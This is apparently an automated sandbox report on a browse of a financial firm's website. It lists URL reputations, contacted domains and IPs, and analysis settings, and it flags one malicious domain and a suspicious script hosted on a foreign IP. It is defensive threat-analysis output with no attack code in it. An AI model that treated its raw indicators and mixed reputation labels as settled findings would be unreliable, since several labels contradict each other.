Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.bfjfinancial.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://www.internalfb.com/intern/invariant/	0%	URL Reputation	safe
https://youradchoices.ca/	0%	URL Reputation	safe
https://goo.gle/js-api-loading	0%	URL Reputation	safe
https://lexical.dev/docs/error?	0%	URL Reputation	safe
https://fburl.com/wiki/xrzohrqb	0%	URL Reputation	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/GothamMedium.woff	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/xmlrpc.php	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.bfjfinancial.com%2Fabout	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.bfjfinancial.com%2Fpayme	0%	Avira URL Cloud	safe
http://getbootstrap.com)	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awe	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/webfonts/fa-solid-900.woff2	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/css/font-awesome.css	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png	0%	Avira URL Cloud	safe
https://147.45.47.87/scripts/theme.js	0%	Avira URL Cloud	safe
https://smartvault.ada.support/embed/button/e540f3c/sentry.b6985341d53aea5af72f.js	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/#/schema/logo/image/	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/glyphicons-halflings-regular.woff2	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-includes/js/comment-reply.min.js?ver=4a124e090d7ee965f75f11dee143117d	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1711022616	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/plugins/cornerstone/assets/js/site/cs-classic.7.4.16.js?ver=	0%	Avira URL Cloud	safe
https://rollout.ada.support/smartvault/client.json?ada_request_origin=embed	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x/framework/dist/js/site/x.js?ver=10.4.16	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-json/wp/v2/pages/2283	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_153861770.jpg	0%	Avira URL Cloud	safe
https://smartvault.ada.support/embed/button/e540f3c/preact.8ab2422822c47580185f.js	0%	Avira URL Cloud	safe
https://static.ada.support/embed2.e540f3c.js	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/style.css?ver=10.4.16	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-json/contact-form-7/v1/contact-forms/54/feedback/schema	0%	Avira URL Cloud	safe
http://www.bfjfinancial.com/	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_559577665.jpg	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/images/linkedin-28.png	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/js/bootstrap.min.js	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/payment/#breadcrumb	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/glyphicons-halflings-regular.ttf	0%	Avira URL Cloud	safe
https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
vc-live-cf.hotjar.io	18.164.96.95	true	false	unknown
scheduler-rt.scheduler-router-comprod.getmindful.com	18.238.49.61	true	false	unknown
d2lgzuvj5j9n9p.cloudfront.net	108.138.113.78	true	false	high
cdn.calltrk.com	52.85.61.83	true	false	unknown
bfjfinancial.com	151.101.2.159	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
stats.g.doubleclick.net	172.253.63.154	true	false	high
rollout.ada.support	13.226.34.19	true	false	unknown
static.ada.support	18.164.124.93	true	false	unknown
scontent.xx.fbcdn.net	157.240.241.1	true	false	high
stun-anycast.l.google.com	74.125.250.129	true	false	high
script.hotjar.com	18.164.96.90	true	false	high
maps.google.com	142.250.65.206	true	false	high
www.google.com	142.250.80.36	true	false	high
part-0012.t-0009.t-msedge.net	13.107.213.40	true	false	unknown
static-cdn.hotjar.com	108.138.106.124	true	false	high
star-mini.c10r.facebook.com	157.240.241.35	true	false	high
bfjfinancialgroup.smartvault.com	13.59.104.88	true	false	high
video.xx.fbcdn.net	157.240.241.2	true	false	high
www.smartvault.com	141.193.213.11	true	false	high
js.calltrk.com	52.85.61.83	true	false	unknown
welcome.visionaryyouth.org	88.119.175.92	true	true	unknown
analytics-alv.google.com	216.239.36.181	true	false	high
play.google.com	142.250.80.14	true	false	high
scontent-lga3-1.xx.fbcdn.net	31.13.71.7	true	false	high
cs767.wpc.epsiloncdn.net	152.199.5.152	true	false	unknown
smartvault.ada.support	18.164.124.35	true	false	unknown
cs1404.wpc.epsiloncdn.net	152.199.24.163	true	false	unknown
scontent-lga3-2.xx.fbcdn.net	157.240.241.1	true	false	high
4eb97633b8b43872.cbridgert.vhtcloud.com	unknown	unknown	false	unknown
static.licdn.com	unknown	unknown	false	high
brokercheck.finra.org	unknown	unknown	false	high
vc.hotjar.io	unknown	unknown	false	unknown
www.bfjfinancial.com	unknown	unknown	false	unknown
static.hotjar.com	unknown	unknown	false	high
platform.linkedin.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
www.linkedin.com	unknown	unknown	false	high
px.ads.linkedin.com	unknown	unknown	false	high
static.xx.fbcdn.net	unknown	unknown	false	high
static.support.finra.org	unknown	unknown	false	high
snap.licdn.com	unknown	unknown	false	high
analytics.google.com	unknown	unknown	false	high
stun.l.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://maps.google.com/maps/gen_204?target=api&ev=api_mapft&cad=host:www.google.com,v:56,fv:3.56.8,r:100,client:google-maps-embed,Lg:1,hybrid:0,src:apiv3,token:7xefnn2dkf,ts:vp7cjc	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yP/r/nqzi0HDP8Ry.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yS/r/mdW2sCYlZBe.png	false		high
https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/GothamMedium.woff	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8	false		high
https://static.xx.fbcdn.net/rsrc.php/v3id5d4/yS/l/en_US/8THafi6q9GdpQ-QvLDPbL7c22qUA9VY4-m6uLQCuTojhRw83TsroxGFQKvKXSIdAqsCN6hpHVMyJl4UpY82FpGVURJ3hHM37aNVVtwoC8TAEQ4MfFrM7_FIJA8WHHGPNLzXcDiv5SPZN5urt1HvL9YbQDWJTi7d4N5wiQsGMxCFFoEtz8Gx6F23J_Tj.js?_nc_x=Ij3Wp8lg5Kz	false		high
about:blank	false	Avira URL Cloud: safe	low
https://analytics.google.com/g/collect?v=2&tid=G-E1ZB2L7Z3V&gtm=45je44a0v881606118za200&_p=1712867740458&gcd=13l3l3l3l1&npa=0&dma=0&cid=118679924.1712867743&ul=en-us&sr=1280x1024&ir=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&pscdl=noapi&_eu=EEA&_s=2&sid=1712867743&sct=1&seg=0&dl=https%3A%2F%2Fbfjfinancialgroup.smartvault.com%2Fsecure%2FSignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx&dt=SmartVault%20%3A%20Sign%20In&en=scroll&epn.percent_scrolled=90&_et=7&tfd=10756	false		high
https://www.bfjfinancial.com/	false		unknown
https://scontent-lga3-2.xx.fbcdn.net/v/t1.6435-9/203598184_284712353053725_8726646647123246716_n.jpg?stp=c64.0.160.160a_dst-jpg_p160x160&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=PHlGU2St1TUAb6VJarJ&_nc_ht=scontent-lga3-2.xx&oh=00_AfChtWu6Ep5nAiBIvjYV9z3nmOFlTwAMzrg6NB3bjxAWlw&oe=663FA40B	false		high
https://scontent-lga3-1.xx.fbcdn.net/v/t1.6435-9/191680915_265045765020384_5894171166834969580_n.jpg?stp=c50.0.160.160a_dst-jpg_p160x160&_nc_cat=110&ccb=1-7&_nc_sid=5f2048&_nc_ohc=mO4BuMgfth0Ab73pxw1&_nc_ht=scontent-lga3-1.xx&oh=00_AfCH9laTFaWTyRR0G7UvKaGz7i-oivPXL8upnQfgqZbOtQ&oe=663FBD62	false		high
https://bfjfinancialgroup.smartvault.com/secure/Intercom.ashx	false		high
https://bfjfinancialgroup.smartvault.com/Telerik.Web.UI.WebResource.axd?_TSM_HiddenField_=ctl00_RadScriptManager1_TSM&compress=0&_TSM_CombinedScripts_=%3b%3bSystem.Web.Extensions%2c+Version%3d4.0.0.0%2c+Culture%3dneutral%2c+PublicKeyToken%3d31bf3856ad364e35%3aen-US%3a59e0a739-153b-40bd-883f-4e212fc43305%3aea597d4b%3ab25378d2%3bTelerik.Web.UI%3aen-US%3acb530d55-8eee-4e6c-b719-fe87cff73af8%3a16e4e7cd%3a365331c3%3a24ee1bba%3ab7778d6c%3af46195d3%3a19620875%3a874f8ea2%3a39040b5c%3af85f9819	false		high
https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/css/font-awesome.css	false	Avira URL Cloud: safe	unknown
https://static.xx.fbcdn.net/rsrc.php/v3ivlb4/yT/l/en_US/Vu6HBOITfSe.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/webfonts/fa-solid-900.woff2	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=a&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3	false		high
https://stats.g.doubleclick.net/g/collect?v=2&tid=G-E1ZB2L7Z3V&cid=118679924.1712867743&gtm=45je44a0v881606118z8833996265za200&aip=1&dma=0&gcd=13l3l3l3l1&npa=0	false		high
https://147.45.47.87/scripts/theme.js	false	Avira URL Cloud: safe	unknown
https://bfjfinancialgroup.smartvault.com/js/sha1.js	false		high
https://smartvault.ada.support/embed/button/e540f3c/sentry.b6985341d53aea5af72f.js	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/glyphicons-halflings-regular.woff2	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1711022616	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/themes/x/framework/dist/js/site/x.js?ver=10.4.16	false	Avira URL Cloud: safe	unknown
https://static.xx.fbcdn.net/rsrc.php/v3ifJq4/y_/l/en_US/VCsocI7gMNGJaiwx1WAgoaSl65Za2TW0ymM84SfiWlvqERz6pNGhHp8limUDEtcYdfHD_ApAkcHCLBPHlaazF8hiQhP0HLNJLur.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://bfjfinancialgroup.smartvault.com/secure/CustomCss.ashx?o=none&version=0	false		high
https://static.xx.fbcdn.net/rsrc.php/v3iuch4/yJ/l/en_US/nIS5MG5jU1H.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://rollout.ada.support/smartvault/client.json?ada_request_origin=embed	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-includes/js/comment-reply.min.js?ver=4a124e090d7ee965f75f11dee143117d	false	Avira URL Cloud: safe	unknown
https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=kT3oUtt9ldtztet0x1SHpMigeCJwT9b-N0txLQvmXO7DOXaqzuG3kTj7QwanK1tOFsbj_9PSJOsPL1CGtffCY2D0rljaaU_xX5eNZu92uroPihKNEHuuwKHrnIcQiJk_n4pA-3dX4BOcBGJzUvG7hTcuLJ41&t=636899829820000000	false		high
https://www.bfjfinancial.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7	false	Avira URL Cloud: safe	unknown
https://analytics.google.com/g/collect?v=2&tid=G-E1ZB2L7Z3V&gtm=45je44a0v881606118z8833996265za200&_p=1712867740458&_gaz=1&gcd=13l3l3l3l1&npa=0&dma=0&cid=118679924.1712867743&ul=en-us&sr=1280x1024&ir=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&pscdl=noapi&_eu=EA&_s=1&sid=1712867743&sct=1&seg=0&dl=https%3A%2F%2Fbfjfinancialgroup.smartvault.com%2Fsecure%2FSignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx&dt=SmartVault%20%3A%20Sign%20In&en=page_view&_fv=1&_ss=1&tfd=5119	false		high
https://smartvault.ada.support/embed/button/e540f3c/preact.8ab2422822c47580185f.js	false	Avira URL Cloud: safe	unknown
https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=DzxUtfABsu8vnlw2s2acXrs0oF0PtU7eQ8cp60r68IrjUtW9DDM-0xlMz8I7xY2r_Q1vSWj9TmVkLca6OlhNx4F-j9c1&t=636480331623431523	false		high
https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_153861770.jpg	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=f&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3	false		high
https://www.smartvault.com/wp-content/uploads/2023/02/favicon.ico	false		high
https://static.licdn.com/aero-v1/sc/h/5qa1f22mxd8ig3o5g568vo59	false		high
https://www.facebook.com/data/manifest/	false		high
https://bfjfinancialgroup.smartvault.com/css/common.css	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/ye/r/8YRrA8ys0pS.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://static.ada.support/embed2.e540f3c.js	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga	false		high
https://www.bfjfinancial.com/wp-json/contact-form-7/v1/contact-forms/54/feedback/schema	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1	false		high
https://www.bfjfinancial.com/wp-content/themes/x-child/style.css?ver=10.4.16	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_559577665.jpg	false	Avira URL Cloud: safe	unknown
https://static.xx.fbcdn.net/rsrc.php/v3idBq4/yr/l/en_US/EGYttlRo0gL.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://www.google.com/recaptcha/api2/bframe?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF	false		high
https://bfjfinancialgroup.smartvault.com/js/EmailValidator.js	false		high
https://www.bfjfinancial.com/wp-content/themes/x-child/images/linkedin-28.png	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/themes/x-child/js/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/bfjfinancial/	false		high
https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/glyphicons-halflings-regular.ttf	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb	false		high
https://static.xx.fbcdn.net/rsrc.php/v3ii184/ys/l/en_US/erqik_ar1cv.js?_nc_x=Ij3Wp8lg5Kz	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/y0/r/eFZD1KABzRA.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_432.2.dr, chromecache_306.2.dr, chromecache_438.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_364.2.dr, chromecache_474.2.dr	false		high
https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb	chromecache_302.2.dr	false	Avira URL Cloud: safe	unknown
http://g.co/dev/maps-no-account	chromecache_378.2.dr	false		high
https://www.bfjfinancial.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.bfjfinancial.com%2Fabout	chromecache_490.2.dr	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.bfjfinancial.com%2Fpayme	chromecache_237.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_396.2.dr, chromecache_340.2.dr	false		high
https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=we	chromecache_248.2.dr, chromecache_296.2.dr, chromecache_454.2.dr, chromecache_245.2.dr	false		high
https://px.ads.linkedin.com/collect?	chromecache_368.2.dr	false		high
https://fontawesome.com	chromecache_461.2.dr, chromecache_310.2.dr	false		high
https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awe	chromecache_490.2.dr	false	Avira URL Cloud: safe	unknown
https://www.internalfb.com/intern/invariant/	chromecache_436.2.dr	false	URL Reputation: safe	unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_256.2.dr	false		high
https://www.finra.org/	chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	false		high
https://youradchoices.ca/	chromecache_255.2.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_364.2.dr, chromecache_474.2.dr	false		high
https://www.bfjfinancial.com/xmlrpc.php	chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	false	Avira URL Cloud: safe	unknown
http://getbootstrap.com)	chromecache_284.2.dr, chromecache_477.2.dr	false	Avira URL Cloud: safe	low
https://goo.gle/js-api-loading	chromecache_378.2.dr	false	URL Reputation: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_340.2.dr	false		high
http://www.smartvault.com/eula/	chromecache_355.2.dr	false		high
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	chromecache_378.2.dr	false		high
https://support.google.com/recaptcha	chromecache_474.2.dr	false		high
https://support.google.com/fusiontables/answer/9185417).	chromecache_378.2.dr	false		high
https://www.bfjfinancial.com/#/schema/logo/image/	chromecache_237.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/maps/deprecations	chromecache_378.2.dr	false		high
https://www.bfjfinancial.com/wp-content/plugins/cornerstone/assets/js/site/cs-classic.7.4.16.js?ver=	chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	false	Avira URL Cloud: safe	unknown
https://www.bfjfinancial.com/wp-json/wp/v2/pages/2283	chromecache_237.2.dr	false	Avira URL Cloud: safe	unknown
http://www.smartvault.com/	chromecache_355.2.dr	false		high
https://schema.org	chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	false		high
http://schema.org/Thing	chromecache_237.2.dr	false		high
https://appcenter.intuit.com/Content/IA/intuit.ipp.anywhere.js	chromecache_492.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_364.2.dr, chromecache_474.2.dr	false		high
https://lexical.dev/docs/error?	chromecache_471.2.dr	false	URL Reputation: safe	unknown
http://www.bfjfinancial.com/	chromecache_293.2.dr	false	Avira URL Cloud: safe	unknown
https://fburl.com/wiki/xrzohrqb	chromecache_282.2.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_284.2.dr, chromecache_477.2.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_432.2.dr, chromecache_306.2.dr, chromecache_438.2.dr	false		high
https://developers.google.com/maps/documentation/javascript/advanced-markers/migration	chromecache_378.2.dr	false		high
https://www.figma.com/file/egkKv7mudRwk2dVPM0WCR6/NBA-Digest-Email?type=design&node-id=2927-186236&t	chromecache_491.2.dr, chromecache_503.2.dr	false		high
https://www.bfjfinancial.com/payment/#breadcrumb	chromecache_237.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.226.34.19	rollout.ada.support	United States	16509	AMAZON-02US	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.240.241.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
52.85.61.39	unknown	United States	16509	AMAZON-02US	false
18.164.124.120	unknown	United States	3	MIT-GATEWAYSUS	false
13.107.213.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.240.241.1	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
13.59.104.88	bfjfinancialgroup.smartvault.com	United States	16509	AMAZON-02US	false
142.250.80.36	www.google.com	United States	15169	GOOGLEUS	false
108.138.106.124	static-cdn.hotjar.com	United States	16509	AMAZON-02US	false
142.251.163.155	unknown	United States	15169	GOOGLEUS	false
152.199.24.163	cs1404.wpc.epsiloncdn.net	United States	15133	EDGECASTUS	false
151.101.2.159	bfjfinancial.com	United States	54113	FASTLYUS	false
142.250.65.206	maps.google.com	United States	15169	GOOGLEUS	false
147.45.47.87	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.253.63.154	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
31.13.71.7	scontent-lga3-1.xx.fbcdn.net	Ireland	32934	FACEBOOKUS	false
142.250.65.164	unknown	United States	15169	GOOGLEUS	false
88.119.175.92	welcome.visionaryyouth.org	Lithuania	61272	IST-ASLT	true
18.164.96.90	script.hotjar.com	United States	3	MIT-GATEWAYSUS	false
18.164.96.95	vc-live-cf.hotjar.io	United States	3	MIT-GATEWAYSUS	false
142.251.40.196	unknown	United States	15169	GOOGLEUS	false
142.250.72.100	unknown	United States	15169	GOOGLEUS	false
18.164.124.35	smartvault.ada.support	United States	3	MIT-GATEWAYSUS	false
74.125.250.129	stun-anycast.l.google.com	United States	15169	GOOGLEUS	false
18.238.49.61	scheduler-rt.scheduler-router-comprod.getmindful.com	United States	16509	AMAZON-02US	false
142.250.80.14	play.google.com	United States	15169	GOOGLEUS	false
18.164.124.93	static.ada.support	United States	3	MIT-GATEWAYSUS	false
216.239.36.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
142.251.167.156	unknown	United States	15169	GOOGLEUS	false
152.199.5.152	cs767.wpc.epsiloncdn.net	United States	15133	EDGECASTUS	false
141.193.213.11	www.smartvault.com	United States	396845	DV-PRIMARY-ASN1US	false
142.250.65.228	unknown	United States	15169	GOOGLEUS	false
52.85.61.83	cdn.calltrk.com	United States	16509	AMAZON-02US	false
108.138.113.78	d2lgzuvj5j9n9p.cloudfront.net	United States	16509	AMAZON-02US	false
142.251.35.164	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1424690
Start date and time:	2024-04-11 22:34:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.bfjfinancial.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@29/506@116/38
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://brokercheck.finra.org/ Browse: https://www.linkedin.com/company/bfj-financial-group Browse: https://www.facebook.com/bfjfinancial/ Browse: https://bfjfinancialgroup.smartvault.com/ Browse: https://www.bfjfinancial.com/payment/ Browse: https://www.bfjfinancial.com/about-us/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.80.35, 142.251.111.84, 142.250.80.46, 34.104.35.123, 142.251.40.234, 142.251.40.99, 142.250.65.202, 142.251.40.106, 142.250.80.42, 142.251.32.106, 142.250.72.106, 142.250.65.234, 142.250.81.234, 142.250.176.202, 142.251.41.10, 142.250.65.170, 142.251.35.170, 142.250.80.106, 142.251.40.202, 142.250.80.74, 172.217.165.138, 142.250.176.195, 142.251.40.138, 142.251.40.170, 142.250.64.74, 142.250.64.106, 142.250.80.99, 142.251.40.131, 142.251.40.195, 13.85.23.86, 72.21.81.240, 192.229.211.108, 20.242.39.171, 20.3.187.198, 172.64.150.119, 104.18.37.137, 142.251.40.104, 216.239.38.178, 216.239.32.178, 216.239.36.178, 216.239.34.178, 172.64.145.44, 104.18.42.212, 142.251.32.99, 142.250.80.10, 142.251.40.110, 13.107.42.14, 172.253.63.84, 172.253.122.84, 142.250.81.227, 142.251.35.168, 142.250.80.78, 204.79.197.237, 13.107.21.237, 23.200.3.32, 23.200.3.4, 23.200.3.23, 23.200.3.12, 23.200.3.16, 23.200.3.30, 23.200.3.19, 142.250.65.227, 142.251.41.3
Excluded domains from analysis (whitelisted): static.support.finra.org.cdn.cloudflare.net, bat-bing-com.dual-a-0034.a-msedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, 2-01-2c3e-003d.cdx.cedexis.net, maps.googleapis.com, l-0005.l-msedge.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, star-azurefd-prod.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, bat.bing.com, update.googleapis.com, www.gstatic.com, glb.sls.prod.dcat.dsp.trafficmanager.net, www.google-analytics.com, www-linkedin-com.l-0005.l-msedge.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, wu.ec.azureedge.net, www-alv.google-analytics.com, ctldl.windowsupdate.com, brokercheck.finra.org.cdn.cloudflare.net, od.linkedin.edgesuite.net, wu-bg-shim.trafficmanager.net, fe3cr.deli
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://www.bfjfinancial.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11041)
Category:	downloaded
Size (bytes):	52306
